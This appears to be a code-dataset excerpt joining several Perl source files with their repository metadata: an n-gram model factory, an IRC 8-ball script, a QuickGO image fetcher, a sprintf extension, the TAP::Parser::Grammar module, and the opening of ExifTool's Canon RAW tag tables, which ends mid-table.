s/\s+$//; next if /^$/; push @{$self->{files}}, $_; } } } } package Text::CMU::NGramFactory; use Text::CMU::LMTraining; use File::Spec::Functions qw(catdir); use File::Path; use XML::Parser; sub new { my $this = shift; my $class = ref $this || $this; my $self = bless {}, $class; $self->initialize(@_); return $self; } sub initialize { my ($self, %opts) = @_; if (exists $opts{builddir}) { $self->{builddir} = $opts{builddir}; delete $opts{builddir}; } $self->{opts} = \%opts; } sub train { my ($self, $config) = @_; my $parser = XML::Parser->new(Style => 'Tree'); my $tree = $parser->parsefile($config); # Now instantiate objects from the tree my ($root) = $self->instantiate($tree); # And finish doing estimation/interpolation/whatever $root->estimate(); return $root; } sub instantiate { my ($self, $tree) = @_; my @objects; my $opts = $self->{opts}; while (my ($tag, $content) = splice @$tree, 0, 2) { my $object; if ($tag) { my $attr = shift @$content; if ($tag !~ /^Text::CMU::/) { $tag = "Text::CMU::$tag"; } if (exists($attr->{ref})) { # Retrieve existing objects from the namespace $object = $self->{$tag}{$attr->{ref}}; die "No such $tag object: $attr->{ref}" unless defined($object); } else { # Generate a name for it to use as its temporary directory $attr->{name} = sprintf "g%04d", ++$self->{counter} unless defined($attr->{name}); if (defined($self->{builddir})) { my $cleantag = $tag; $cleantag =~ tr/-A-Za-z0-9_//cd; $attr->{tempdir} = catdir($self->{builddir}, $cleantag, $attr->{name}); mkpath($attr->{tempdir}); } # Create it anew $object = $tag->new(%$opts, %$attr); # And record it in the namespace if desired $self->{$tag}{$attr->{name}} = $object if exists($attr->{name}); } # If there are contents, parse them and pass them to the # object we just created. my @children = $self->instantiate($content); $object->_add_contents(@children); } else { $object = $content; } push @objects, $object; } return @objects; } 1; __END__ =head1 NAME Text::CMU::NGramFactory - Build N-Gram language models from XML configuration file =head1 SYNOPSIS use Text::CMU::NGramFactory; my $factory = Text::CMU::NGramFactory->new(); my $ngram = Text::CMU::NGramFactory->train("config.xml"); # Proceed as with Text::CMU::NGramModel; =head1 DESCRIPTION =head1 CONFIGURATION FILE =head1 SEE ALSO L<Text::CMU::NGramModel>, L<Text::CMU::Vocabulary>, L<Text::CMU::Smoothing>, L<Text::CMU::InputFilter> =head1 AUTHORS David Huggins-Daines E<lt>dhuggins@cs.cmu.eduE<gt> =cut
hvos234/raspberrypi.home
vendor/cmuclmtk/perl/NGramFactory.pm
Perl
bsd-3-clause
5,618
#8-ball / decision ball # #What is this? # #The 8-ball (Eight-ball) is a decision ball which i bought #in a gadget shop when i was in London. I then came up with #the idea to make an irc-version of this one :) #There are 16 possible answers that the ball may give you. # # #usage # #Anyone in the same channel as the one who runs this script may #write "8-ball: question ?" without quotes and where question is #a question to ask the 8-ball. #An answer is given randomly. The possible answers are the exact #same answers that the real 8-ball gives. # #Write "8-ball" without quotes to have the the ball tell you #how money questions it've got totally. # #Write "8-ball version" without quotes to have him tell what #his version is. # # use strict; use vars qw($VERSION %IRSSI); use Irssi qw(command_bind signal_add); use IO::File; $VERSION = '0.20'; %IRSSI = ( authors => 'Patrik Jansson', contact => 'gein@knivby.nu', name => '8-ball', description => 'Dont like to take decisions? Have the 8-ball do it for you instead.', license => 'GPL', ); sub own_question { my ($server, $msg, $target) = @_; question($server, $msg, "", $target); } sub public_question { my ($server, $msg, $nick, $address, $target) = @_; question($server, $msg, $nick.": ", $target); } sub question($server, $msg, $nick, $target) { my ($server, $msg, $nick, $target) = @_; $_ = $msg; if (!/^8-ball/i) { return 0; } if (/^8-ball:.+\?$/i) { my $ia = int(rand(16)); my $answer = ""; SWITCH: { if ($ia==0) { $answer = "Yes"; last SWITCH; } if ($ia==1) { $answer = "No"; last SWITCH; } if ($ia==2) { $answer = "Outlook so so"; last SWITCH; } if ($ia==3) { $answer = "Absolutely"; last SWITCH; } if ($ia==4) { $answer = "My sources say no"; last SWITCH; } if ($ia==5) { $answer = "Yes definitely"; last SWITCH; } if ($ia==6) { $answer = "Very doubtful"; last SWITCH; } if ($ia==7) { $answer = "Most likely"; last SWITCH; } if ($ia==8) { $answer = "Forget about it"; last SWITCH; } if ($ia==9) { $answer = "Are you kidding?"; last SWITCH; } if ($ia==10) { $answer = "Go for it"; last SWITCH; } if ($ia==11) { $answer = "Not now"; last SWITCH; } if ($ia==12) { $answer = "Looking good"; last SWITCH; } if ($ia==13) { $answer = "Who knows"; last SWITCH; } if ($ia==14) { $answer = "A definite yes"; last SWITCH; } if ($ia==15) { $answer = "You will have to wait"; last SWITCH; } if ($ia==16) { $answer = "Yes, in due time"; last SWITCH; } if ($ia==17) { $answer = "I have my doubts"; last SWITCH; } } $server->command('msg '.$target.' '.$nick.'8-ball says: '.$answer); my ($fh, $count); $fh = new IO::File; $count = 0; if ($fh->open("< .8-ball")){ $count = <$fh>; $fh->close; } $count++; $fh = new IO::File; if ($fh->open("> .8-ball")){ print $fh $count; $fh->close; }else{ print "Couldn't open file for output. The value $count couldn't be written."; return 1; } return 0; } elsif (/^8-ball$/i) { my ($fh, $count); $fh = new IO::File; $count = 0; if ($fh->open("< .8-ball")){ $count = <$fh>; $server->command('msg '.$target.' 8-ball says: I\'ve got '.$count.' questions so far.'); $fh->close; }else{ print "Couldn't open file for input"; return 1; } return 0; } elsif (/^8-ball version$/i){ $server->command('msg '.$target.' My version is: '.$VERSION); return 0; } else { if(!/^8-ball says/i){ $server->command('msg '.$target.' '.$nick.'A question please.'); return 0; } } } signal_add("message public", "public_question"); signal_add("message own_public", "own_question");
bsdlp/states
irssi/files/irssi.scripts/8-ball.pl
Perl
bsd-3-clause
4,011
=head1 AmiGO::External::QuickGO::OntGraphics Pass through any external target with no processing. =cut package AmiGO::External::QuickGO::OntGraphics; use base ("AmiGO::External::Raw"); use AmiGO::KVStore; =item $URL_FOR_QUICKGO_IMAGE This is the URL that points to the QuickGO services API. =cut my $URL_FOR_QUICKGO_IMAGE = 'http://www.ebi.ac.uk/QuickGO/GMultiTerm?format=image&id='; =item new # =cut sub new { ## my $class = shift; my $self = $class->SUPER::new(); #my $arg = shift || {}; ## Since we're not doing this work, let's give ourselves a larger ## window. $self->{MECH}->timeout(5); ##. $self->{EXT_DATA} = undef; bless $self, $class; return $self; } =item get_graph_image ... =cut sub get_graph_image { ## my $self = shift; my $acc = shift || die "acc required $!"; my $url = shift || $URL_FOR_QUICKGO_IMAGE . $acc; return $self->get_external_data($url); } =item try Basically does nothing here... TODO: Maybe this should make an attempt to parse given a function? =cut sub try { my $self = shift; # my $path = shift || ''; my $retval = shift || 0; ## Make a safe attempt at a path. my $try = undef; eval { $try = $self->{EXT_DATA}; }; if($@){ $self->kvetch("error: $@"); }else{ $retval = $try; } return $retval; } 1;
geneontology/amigo
perl/lib/AmiGO/External/QuickGO/OntGraphics.pm
Perl
bsd-3-clause
1,331
package RSP::Extension::Sprintf; use strict; use warnings; use base 'RSP::Extension'; sub exception_name { return "system.sprintf"; } sub provides { my $class = shift; my $tx = shift; return { 'sprintf' => sub { my $mesg = shift; return sprintf( $mesg, @_ ); } } } 1;
konobi/smart-platform
lib/RSP/Extension/Sprintf.pm
Perl
mit
306
package TAP::Parser::Grammar; use strict; use warnings; use TAP::Parser::ResultFactory (); use TAP::Parser::YAMLish::Reader (); use base 'TAP::Object'; =head1 NAME TAP::Parser::Grammar - A grammar for the Test Anything Protocol. =head1 VERSION Version 3.36 =cut our $VERSION = '3.36_01'; =head1 SYNOPSIS use TAP::Parser::Grammar; my $grammar = $self->make_grammar({ iterator => $tap_parser_iterator, parser => $tap_parser, version => 12, }); my $result = $grammar->tokenize; =head1 DESCRIPTION C<TAP::Parser::Grammar> tokenizes lines from a L<TAP::Parser::Iterator> and constructs L<TAP::Parser::Result> subclasses to represent the tokens. Do not attempt to use this class directly. It won't make sense. It's mainly here to ensure that we will be able to have pluggable grammars when TAP is expanded at some future date (plus, this stuff was really cluttering the parser). =head1 METHODS =head2 Class Methods =head3 C<new> my $grammar = TAP::Parser::Grammar->new({ iterator => $iterator, parser => $parser, version => $version, }); Returns L<TAP::Parser> grammar object that will parse the TAP stream from the specified iterator. Both C<iterator> and C<parser> are required arguments. If C<version> is not set it defaults to C<12> (see L</set_version> for more details). =cut # new() implementation supplied by TAP::Object sub _initialize { my ( $self, $args ) = @_; $self->{iterator} = $args->{iterator}; # TODO: accessor $self->{iterator} ||= $args->{stream}; # deprecated $self->{parser} = $args->{parser}; # TODO: accessor $self->set_version( $args->{version} || 12 ); return $self; } my %language_for; { # XXX the 'not' and 'ok' might be on separate lines in VMS ... my $ok = qr/(?:not )?ok\b/; my $num = qr/\d+/; my %v12 = ( version => { syntax => qr/^TAP\s+version\s+(\d+)\s*\z/i, handler => sub { my ( $self, $line ) = @_; my $version = $1; return $self->_make_version_token( $line, $version, ); }, }, plan => { syntax => qr/^1\.\.(\d+)\s*(.*)\z/, handler => sub { my ( $self, $line ) = @_; my ( $tests_planned, $tail ) = ( $1, $2 ); my $explanation = undef; my $skip = ''; if ( $tail =~ /^todo((?:\s+\d+)+)/ ) { my @todo = split /\s+/, _trim($1); return $self->_make_plan_token( $line, $tests_planned, 'TODO', '', \@todo ); } elsif ( 0 == $tests_planned ) { $skip = 'SKIP'; # If we can't match # SKIP the directive should be undef. ($explanation) = $tail =~ /^#\s*SKIP\S*\s+(.*)/i; } elsif ( $tail !~ /^\s*$/ ) { return $self->_make_unknown_token($line); } $explanation = '' unless defined $explanation; return $self->_make_plan_token( $line, $tests_planned, $skip, $explanation, [] ); }, }, # An optimization to handle the most common test lines without # directives. simple_test => { syntax => qr/^($ok) \ ($num) (?:\ ([^#]+))? \z/x, handler => sub { my ( $self, $line ) = @_; my ( $ok, $num, $desc ) = ( $1, $2, $3 ); return $self->_make_test_token( $line, $ok, $num, $desc ); }, }, test => { syntax => qr/^($ok) \s* ($num)? \s* (.*) \z/x, handler => sub { my ( $self, $line ) = @_; my ( $ok, $num, $desc ) = ( $1, $2, $3 ); my ( $dir, $explanation ) = ( '', '' ); if ($desc =~ m/^ ( [^\\\#]* (?: \\. [^\\\#]* )* ) \# \s* (SKIP|TODO) \b \s* (.*) $/ix ) { ( $desc, $dir, $explanation ) = ( $1, $2, $3 ); } return $self->_make_test_token( $line, $ok, $num, $desc, $dir, $explanation ); }, }, comment => { syntax => qr/^#(.*)/, handler => sub { my ( $self, $line ) = @_; my $comment = $1; return $self->_make_comment_token( $line, $comment ); }, }, bailout => { syntax => qr/^\s*Bail out!\s*(.*)/, handler => sub { my ( $self, $line ) = @_; my $explanation = $1; return $self->_make_bailout_token( $line, $explanation ); }, }, ); my %v13 = ( %v12, plan => { syntax => qr/^1\.\.(\d+)(?:\s*#\s*SKIP\b(.*))?\z/i, handler => sub { my ( $self, $line ) = @_; my ( $tests_planned, $explanation ) = ( $1, $2 ); my $skip = ( 0 == $tests_planned || defined $explanation ) ? 'SKIP' : ''; $explanation = '' unless defined $explanation; return $self->_make_plan_token( $line, $tests_planned, $skip, $explanation, [] ); }, }, yaml => { syntax => qr/^ (\s+) (---.*) $/x, handler => sub { my ( $self, $line ) = @_; my ( $pad, $marker ) = ( $1, $2 ); return $self->_make_yaml_token( $pad, $marker ); }, }, pragma => { syntax => qr/^ pragma \s+ ( [-+] \w+ \s* (?: , \s* [-+] \w+ \s* )* ) $/x, handler => sub { my ( $self, $line ) = @_; my $pragmas = $1; return $self->_make_pragma_token( $line, $pragmas ); }, }, ); %language_for = ( '12' => { tokens => \%v12, }, '13' => { tokens => \%v13, setup => sub { shift->{iterator}->handle_unicode; }, }, ); } ############################################################################## =head2 Instance Methods =head3 C<set_version> $grammar->set_version(13); Tell the grammar which TAP syntax version to support. The lowest supported version is 12. Although 'TAP version' isn't valid version 12 syntax it is accepted so that higher version numbers may be parsed. =cut sub set_version { my $self = shift; my $version = shift; if ( my $language = $language_for{$version} ) { $self->{version} = $version; $self->{tokens} = $language->{tokens}; if ( my $setup = $language->{setup} ) { $self->$setup(); } $self->_order_tokens; } else { require Carp; Carp::croak("Unsupported syntax version: $version"); } } # Optimization to put the most frequent tokens first. sub _order_tokens { my $self = shift; my %copy = %{ $self->{tokens} }; my @ordered_tokens = grep {defined} map { delete $copy{$_} } qw( simple_test test comment plan ); push @ordered_tokens, values %copy; $self->{ordered_tokens} = \@ordered_tokens; } ############################################################################## =head3 C<tokenize> my $token = $grammar->tokenize; This method will return a L<TAP::Parser::Result> object representing the current line of TAP. =cut sub tokenize { my $self = shift; my $line = $self->{iterator}->next; unless ( defined $line ) { delete $self->{parser}; # break circular ref return; } my $token; for my $token_data ( @{ $self->{ordered_tokens} } ) { if ( $line =~ $token_data->{syntax} ) { my $handler = $token_data->{handler}; $token = $self->$handler($line); last; } } $token = $self->_make_unknown_token($line) unless $token; return $self->{parser}->make_result($token); } ############################################################################## =head3 C<token_types> my @types = $grammar->token_types; Returns the different types of tokens which this grammar can parse. =cut sub token_types { my $self = shift; return keys %{ $self->{tokens} }; } ############################################################################## =head3 C<syntax_for> my $syntax = $grammar->syntax_for($token_type); Returns a pre-compiled regular expression which will match a chunk of TAP corresponding to the token type. For example (not that you should really pay attention to this, C<< $grammar->syntax_for('comment') >> will return C<< qr/^#(.*)/ >>. =cut sub syntax_for { my ( $self, $type ) = @_; return $self->{tokens}->{$type}->{syntax}; } ############################################################################## =head3 C<handler_for> my $handler = $grammar->handler_for($token_type); Returns a code reference which, when passed an appropriate line of TAP, returns the lexed token corresponding to that line. As a result, the basic TAP parsing loop looks similar to the following: my @tokens; my $grammar = TAP::Grammar->new; LINE: while ( defined( my $line = $parser->_next_chunk_of_tap ) ) { for my $type ( $grammar->token_types ) { my $syntax = $grammar->syntax_for($type); if ( $line =~ $syntax ) { my $handler = $grammar->handler_for($type); push @tokens => $grammar->$handler($line); next LINE; } } push @tokens => $grammar->_make_unknown_token($line); } =cut sub handler_for { my ( $self, $type ) = @_; return $self->{tokens}->{$type}->{handler}; } sub _make_version_token { my ( $self, $line, $version ) = @_; return { type => 'version', raw => $line, version => $version, }; } sub _make_plan_token { my ( $self, $line, $tests_planned, $directive, $explanation, $todo ) = @_; if ( $directive eq 'SKIP' && 0 != $tests_planned && $self->{version} < 13 ) { warn "Specified SKIP directive in plan but more than 0 tests ($line)\n"; } return { type => 'plan', raw => $line, tests_planned => $tests_planned, directive => $directive, explanation => _trim($explanation), todo_list => $todo, }; } sub _make_test_token { my ( $self, $line, $ok, $num, $desc, $dir, $explanation ) = @_; return { ok => $ok, # forcing this to be an integer (and not a string) reduces memory # consumption. RT #84939 test_num => ( defined $num ? 0 + $num : undef ), description => _trim($desc), directive => ( defined $dir ? uc $dir : '' ), explanation => _trim($explanation), raw => $line, type => 'test', }; } sub _make_unknown_token { my ( $self, $line ) = @_; return { raw => $line, type => 'unknown', }; } sub _make_comment_token { my ( $self, $line, $comment ) = @_; return { type => 'comment', raw => $line, comment => _trim($comment) }; } sub _make_bailout_token { my ( $self, $line, $explanation ) = @_; return { type => 'bailout', raw => $line, bailout => _trim($explanation) }; } sub _make_yaml_token { my ( $self, $pad, $marker ) = @_; my $yaml = TAP::Parser::YAMLish::Reader->new; my $iterator = $self->{iterator}; # Construct a reader that reads from our input stripping leading # spaces from each line. my $leader = length($pad); my $strip = qr{ ^ (\s{$leader}) (.*) $ }x; my @extra = ($marker); my $reader = sub { return shift @extra if @extra; my $line = $iterator->next; return $2 if $line =~ $strip; return; }; my $data = $yaml->read($reader); # Reconstitute input. This is convoluted. Maybe we should just # record it on the way in... chomp( my $raw = $yaml->get_raw ); $raw =~ s/^/$pad/mg; return { type => 'yaml', raw => $raw, data => $data }; } sub _make_pragma_token { my ( $self, $line, $pragmas ) = @_; return { type => 'pragma', raw => $line, pragmas => [ split /\s*,\s*/, _trim($pragmas) ], }; } sub _trim { my $data = shift; return '' unless defined $data; $data =~ s/^\s+//; $data =~ s/\s+$//; return $data; } 1; =head1 TAP GRAMMAR B<NOTE:> This grammar is slightly out of date. There's still some discussion about it and a new one will be provided when we have things better defined. The L<TAP::Parser> does not use a formal grammar because TAP is essentially a stream-based protocol. In fact, it's quite legal to have an infinite stream. For the same reason that we don't apply regexes to streams, we're not using a formal grammar here. Instead, we parse the TAP in lines. For purposes for forward compatibility, any result which does not match the following grammar is currently referred to as L<TAP::Parser::Result::Unknown>. It is I<not> a parse error. A formal grammar would look similar to the following: (* For the time being, I'm cheating on the EBNF by allowing certain terms to be defined by POSIX character classes by using the following syntax: digit ::= [:digit:] As far as I am aware, that's not valid EBNF. Sue me. I didn't know how to write "char" otherwise (Unicode issues). Suggestions welcome. *) tap ::= version? { comment | unknown } leading_plan lines | lines trailing_plan {comment} version ::= 'TAP version ' positiveInteger {positiveInteger} "\n" leading_plan ::= plan skip_directive? "\n" trailing_plan ::= plan "\n" plan ::= '1..' nonNegativeInteger lines ::= line {line} line ::= (comment | test | unknown | bailout ) "\n" test ::= status positiveInteger? description? directive? status ::= 'not '? 'ok ' description ::= (character - (digit | '#')) {character - '#'} directive ::= todo_directive | skip_directive todo_directive ::= hash_mark 'TODO' ' ' {character} skip_directive ::= hash_mark 'SKIP' ' ' {character} comment ::= hash_mark {character} hash_mark ::= '#' {' '} bailout ::= 'Bail out!' {character} unknown ::= { (character - "\n") } (* POSIX character classes and other terminals *) digit ::= [:digit:] character ::= ([:print:] - "\n") positiveInteger ::= ( digit - '0' ) {digit} nonNegativeInteger ::= digit {digit} =head1 SUBCLASSING Please see L<TAP::Parser/SUBCLASSING> for a subclassing overview. If you I<really> want to subclass L<TAP::Parser>'s grammar the best thing to do is read through the code. There's no easy way of summarizing it here. =head1 SEE ALSO L<TAP::Object>, L<TAP::Parser>, L<TAP::Parser::Iterator>, L<TAP::Parser::Result>, =cut
operepo/ope
bin/usr/share/perl5/core_perl/TAP/Parser/Grammar.pm
Perl
mit
15,666
#------------------------------------------------------------------------------ # File: CanonRaw.pm # # Description: Read Canon RAW (CRW) meta information # # Revisions: 11/25/2003 - P. Harvey Created # 12/02/2003 - P. Harvey Completely reworked and figured out many # more tags # # References: 1) http://www.cybercom.net/~dcoffin/dcraw/ # 2) http://www.wonderland.org/crw/ # 3) http://xyrion.org/ciff/CIFFspecV1R04.pdf # 4) Dave Nicholson private communication (PowerShot S30) #------------------------------------------------------------------------------ package Image::ExifTool::CanonRaw; use strict; use vars qw($VERSION $AUTOLOAD %crwTagFormat); use Image::ExifTool qw(:DataAccess :Utils); use Image::ExifTool::Exif; use Image::ExifTool::Canon; $VERSION = '1.58'; sub WriteCRW($$); sub ProcessCanonRaw($$$); sub WriteCanonRaw($$$); sub CheckCanonRaw($$$); sub InitMakerNotes($); sub SaveMakerNotes($); sub BuildMakerNotes($$$$$$); # formats for CRW tag types (($tag >> 8) & 0x38) # Note: don't define format for undefined types %crwTagFormat = ( 0x00 => 'int8u', 0x08 => 'string', 0x10 => 'int16u', 0x18 => 'int32u', # 0x20 => 'undef', # 0x28 => 'undef', # 0x30 => 'undef', ); # Canon raw file tag table # Note: Tag ID's have upper 2 bits set to zero, since these 2 bits # just specify the location of the information %Image::ExifTool::CanonRaw::Main = ( GROUPS => { 0 => 'MakerNotes', 2 => 'Camera' }, PROCESS_PROC => \&ProcessCanonRaw, WRITE_PROC => \&WriteCanonRaw, CHECK_PROC => \&CheckCanonRaw, WRITABLE => 1, 0x0000 => { Name => 'NullRecord', Writable => 'undef' }, #3 0x0001 => { #3 Name => 'FreeBytes', Format => 'undef', Binary => 1, }, 0x0032 => { Name => 'CanonColorInfo1', Writable => 0 }, 0x0805 => [ # this tag is found in more than one directory... { Condition => '$self->{DIR_NAME} eq "ImageDescription"', Name => 'CanonFileDescription', Writable => 'string[32]', }, { Name => 'UserComment', Writable => 'string[256]', }, ], 0x080a => { Name => 'CanonRawMakeModel', Writable => 0, SubDirectory => { TagTable => 'Image::ExifTool::CanonRaw::MakeModel' }, }, 0x080b => { Name => 'CanonFirmwareVersion', Writable => 'string[32]' }, 0x080c => { Name => 'ComponentVersion', Writable => 'string' }, #3 0x080d => { Name => 'ROMOperationMode', Writable => 'string[8]' }, #3 0x0810 => { Name => 'OwnerName', Writable => 'string[32]' }, 0x0815 => { Name => 'CanonImageType', Writable => 'string[32]' }, 0x0816 => { Name => 'OriginalFileName', Writable => 'string[32]' }, 0x0817 => { Name => 'ThumbnailFileName', Writable => 'string[32]' }, 0x100a => { #3 Name => 'TargetImageType', Writable => 'int16u', PrintConv => { 0 => 'Real-world Subject', 1 => 'Written Document', }, }, 0x1010 => { #3 Name => 'ShutterReleaseMethod', Writable => 'int16u', PrintConv => { 0 => 'Single Shot', 2 => 'Continuous Shooting', }, }, 0x1011 => { #3 Name => 'ShutterReleaseTiming', Writable => 'int16u', PrintConv => { 0 => 'Priority on shutter', 1 => 'Priority on focus', }, }, 0x1016 => { Name => 'ReleaseSetting', Writable => 'int16u' }, #3 0x101c => { Name => 'BaseISO', Writable => 'int16u' }, #3 0x1028=> { #PH Name => 'CanonFlashInfo', Writable => 'int16u', Count => 4, Unknown => 1, }, 0x1029 => { Name => 'CanonFocalLength', Writable => 0, SubDirectory => { TagTable => 'Image::ExifTool::Canon::FocalLength' }, }, 0x102a => { Name => 'CanonShotInfo', Writable => 0, SubDirectory => { TagTable => 'Image::ExifTool::Canon::ShotInfo' }, }, 0x102c => { Name => 'CanonColorInfo2', Writable => 0, # for the S30, the following information has been decoded: (ref 4) # offset 66: int32u - shutter half press time in ms # offset 70: int32u - image capture time in ms # offset 74: int16u - custom white balance flag (0=Off, 512=On) }, 0x102d => { Name => 'CanonCameraSettings', Writable => 0, SubDirectory => { TagTable => 'Image::ExifTool::Canon::CameraSettings' }, }, 0x1030 => { #4 Name => 'WhiteSample', Writable => 0, SubDirectory => { Validate => 'Image::ExifTool::Canon::Validate($dirData,$subdirStart,$size)', TagTable => 'Image::ExifTool::CanonRaw::WhiteSample', }, }, 0x1031 => { Name => 'SensorInfo', Writable => 0, SubDirectory => { TagTable => 'Image::ExifTool::Canon::SensorInfo' }, }, # this tag has only be verified for the 10D in CRW files, but the D30 and D60 # also produce CRW images and have CustomFunction information in their JPEG's 0x1033 => [ { Name => 'CustomFunctions10D', Condition => '$self->{Model} =~ /EOS 10D/', SubDirectory => { Validate => 'Image::ExifTool::Canon::Validate($dirData,$subdirStart,$size)', TagTable => 'Image::ExifTool::CanonCustom::Functions10D', }, }, { Name => 'CustomFunctionsD30', Condition => '$self->{Model} =~ /EOS D30\b/', SubDirectory => { Validate => 'Image::ExifTool::Canon::Validate($dirData,$subdirStart,$size)', TagTable => 'Image::ExifTool::CanonCustom::FunctionsD30', }, }, { Name => 'CustomFunctionsD60', Condition => '$self->{Model} =~ /EOS D60\b/', SubDirectory => { # the stored size in the D60 apparently doesn't include the size word: Validate => 'Image::ExifTool::Canon::Validate($dirData,$subdirStart,$size-2,$size)', # (D60 custom functions are basically the same as D30) TagTable => 'Image::ExifTool::CanonCustom::FunctionsD30', }, }, { Name => 'CustomFunctionsUnknown', SubDirectory => { Validate => 'Image::ExifTool::Canon::Validate($dirData,$subdirStart,$size)', TagTable => 'Image::ExifTool::CanonCustom::FuncsUnknown', }, }, ], 0x1038 => { Name => 'CanonAFInfo', Writable => 0, SubDirectory => { TagTable => 'Image::ExifTool::Canon::AFInfo' }, }, 0x1093 => { Name => 'CanonFileInfo', SubDirectory => { Validate => 'Image::ExifTool::Canon::Validate($dirData,$subdirStart,$size)', TagTable => 'Image::ExifTool::Canon::FileInfo', }, }, 0x10a9 => { Name => 'ColorBalance', Writable => 0, SubDirectory => { TagTable => 'Image::ExifTool::Canon::ColorBalance' }, }, 0x10b5 => { #PH Name => 'RawJpgInfo', SubDirectory => { Validate => 'Image::ExifTool::Canon::Validate($dirData,$subdirStart,$size)', TagTable => 'Image::ExifTool::CanonRaw::RawJpgInfo', }, }, 0x10ae => { Name => 'ColorTemperature', Writable => 'int16u', }, 0x10b4 => { Name => 'ColorSpace', Writable => 'int16u', PrintConv => { 1 => 'sRGB', 2 => 'Adobe RGB', 0xffff => 'Uncalibrated', }, }, 0x1803 => { #3 Name => 'ImageFormat', Writable => 0, SubDirectory => { TagTable => 'Image::ExifTool::CanonRaw::ImageFormat' }, }, 0x1804 => { Name => 'RecordID', Writable => 'int32u' }, #3 0x1806 => { #3 Name => 'SelfTimerTime', Writable => 'int32u', ValueConv => '$val / 1000', ValueConvInv => '$val * 1000', PrintConv => '"$val s"', PrintConvInv => '$val=~s/\s*s.*//;$val', }, 0x1807 => { Name => 'TargetDistanceSetting', Format => 'float', PrintConv => '"$val mm"', PrintConvInv => '$val=~s/\s*mm$//;$val', }, 0x180b => [ { # D30 Name => 'SerialNumber', Condition => '$$self{Model} =~ /EOS D30\b/', Writable => 'int32u', PrintConv => 'sprintf("%x-%.5d",$val>>16,$val&0xffff)', PrintConvInv => '$val=~/(.*)-(\d+)/ ? (hex($1)<<16)+$2 : undef', }, { # all EOS models (D30, 10D, 300D) Name => 'SerialNumber', Condition => '$$self{Model} =~ /EOS/', Writable => 'int32u', PrintConv => 'sprintf("%.10d",$val)', PrintConvInv => '$val', }, { # this is not SerialNumber for PowerShot models (but what is it?) - PH Name => 'UnknownNumber', Unknown => 1, }, ], 0x180e => { Name => 'TimeStamp', Writable => 0, SubDirectory => { TagTable => 'Image::ExifTool::CanonRaw::TimeStamp', }, }, 0x1810 => { Name => 'ImageInfo', Writable => 0, SubDirectory => { TagTable => 'Image::ExifTool::CanonRaw::ImageInfo', }, }, 0x1813 => { #3 Name => 'FlashInfo', Writable => 0, SubDirectory => { TagTable => 'Image::ExifTool::CanonRaw::FlashInfo', }, }, 0x1814 => { #3 Name => 'MeasuredEV', Notes => q{ this is the Canon name for what could better be called MeasuredLV, and should be close to the calculated LightValue for a proper exposure with most models }, Format => 'float', ValueConv => '$val + 5', ValueConvInv => '$val - 5', }, 0x1817 => { Name => 'FileNumber', Writable => 'int32u', Groups => { 2 => 'Image' }, PrintConv => '$_=$val;s/(\d+)(\d{4})/$1-$2/;$_', PrintConvInv => '$_=$val;s/-//;$_', }, 0x1818 => { #3 Name => 'ExposureInfo', Groups => { 1 => 'CIFF' }, # (only so CIFF shows up in group lists) Writable => 0, SubDirectory => { TagTable => 'Image::ExifTool::CanonRaw::ExposureInfo' }, }, 0x1834 => { #PH Name => 'CanonModelID', Writable => 'int32u', PrintHex => 1, Notes => q{ this is the complete list of model ID numbers, but note that many of these models do not produce CRW images }, SeparateTable => 'Canon CanonModelID', PrintConv => \%Image::ExifTool::Canon::canonModelID, }, 0x1835 => { Name => 'DecoderTable', Writable => 0, SubDirectory => { TagTable => 'Image::ExifTool::CanonRaw::DecoderTable' }, }, 0x183b => { #PH # display format for serial number Name => 'SerialNumberFormat', Writable => 'int32u', PrintHex => 1, PrintConv => { 0x90000000 => 'Format 1', 0xa0000000 => 'Format 2', }, }, 0x2005 => { Name => 'RawData', Writable => 0, Binary => 1, }, 0x2007 => { Name => 'JpgFromRaw', Groups => { 2 => 'Preview' }, Writable => 'resize', # 'resize' allows this value to change size Permanent => 0, RawConv => '$self->ValidateImage(\$val,$tag)', }, 0x2008 => { Name => 'ThumbnailImage', Groups => { 2 => 'Preview' }, Writable => 'resize', # 'resize' allows this value to change size WriteCheck => '$self->CheckImage(\$val)', Permanent => 0, RawConv => '$self->ValidateImage(\$val,$tag)', }, # the following entries are subdirectories # (any 0x28 and 0x30 tag types are handled automatically by the decoding logic) 0x2804 => { Name => 'ImageDescription', SubDirectory => { }, Writable => 0, }, 0x2807 => { #3 Name => 'CameraObject', SubDirectory => { }, Writable => 0, }, 0x3002 => { #3 Name => 'ShootingRecord', SubDirectory => { }, Writable => 0, }, 0x3003 => { #3 Name => 'MeasuredInfo', SubDirectory => { }, Writable => 0, }, 0x3004 => { #3 Name => 'CameraSpecification', SubDirectory => { }, Writable => 0, }, 0x300a => { #3 Name => 'ImageProps', SubDirectory => { }, Writable => 0, }, 0x300b => { Name => 'ExifInformation', SubDirectory => { }, Writable => 0, }, ); # Canon binary data blocks %Image::ExifTool::CanonRaw::MakeModel = ( PROCESS_PROC => \&Image::ExifTool::ProcessBinaryData, WRITE_PROC => \&Image::ExifTool::WriteBinaryData, CHECK_PROC => \&Image::ExifTool::CheckBinaryData, DATAMEMBER => [ 0, 6 ], # indices of data members to extract when writing WRITABLE => 1, FORMAT => 'string', GROUPS => { 0 => 'MakerNotes', 2 => 'Camera' }, # (can't specify a first entry because this isn't # a simple binary table with fixed offsets) 0 => { Name => 'Make', Format => 'string[6]', # "Canon\0" DataMember => 'Make', RawConv => '$self->{Make} = $val', }, 6 => { Name => 'Model', Format => 'string', # no size = to the end of the data Description => 'Camera Model Name', DataMember => 'Model', RawConv => '$self->{Model} = $val', }, ); %Image::ExifTool::CanonRaw::TimeStamp = ( PROCESS_PROC => \&Image::ExifTool::ProcessBinaryData, WRITE_PROC => \&Image::ExifTool::WriteBinaryData, CHECK_PROC => \&Image::ExifTool::CheckBinaryData, WRITABLE => 1, FORMAT => 'int32u', FIRST_ENTRY => 0, GROUPS => { 0 => 'MakerNotes', 2 => 'Time' }, 0 => { Name => 'DateTimeOriginal', Description => 'Date/Time Original', Shift => 'Time', ValueConv => 'ConvertUnixTime($val)', ValueConvInv => 'GetUnixTime($val)', PrintConv => '$self->ConvertDateTime($val)', PrintConvInv => '$self->InverseDateTime($val)', }, 1 => { #3 Name => 'TimeZoneCode', Format => 'int32s', ValueConv => '$val / 3600', ValueConvInv => '$val * 3600', }, 2 => { #3 Name => 'TimeZoneInfo', Notes => 'set to 0x80000000 if TimeZoneCode is valid', }, ); %Image::ExifTool::CanonRaw::ImageFormat = ( PROCESS_PROC => \&Image::ExifTool::ProcessBinaryData, WRITE_PROC => \&Image::ExifTool::WriteBinaryData, CHECK_PROC => \&Image::ExifTool::CheckBinaryData, WRITABLE => 1, FORMAT => 'int32u', FIRST_ENTRY => 0, GROUPS => { 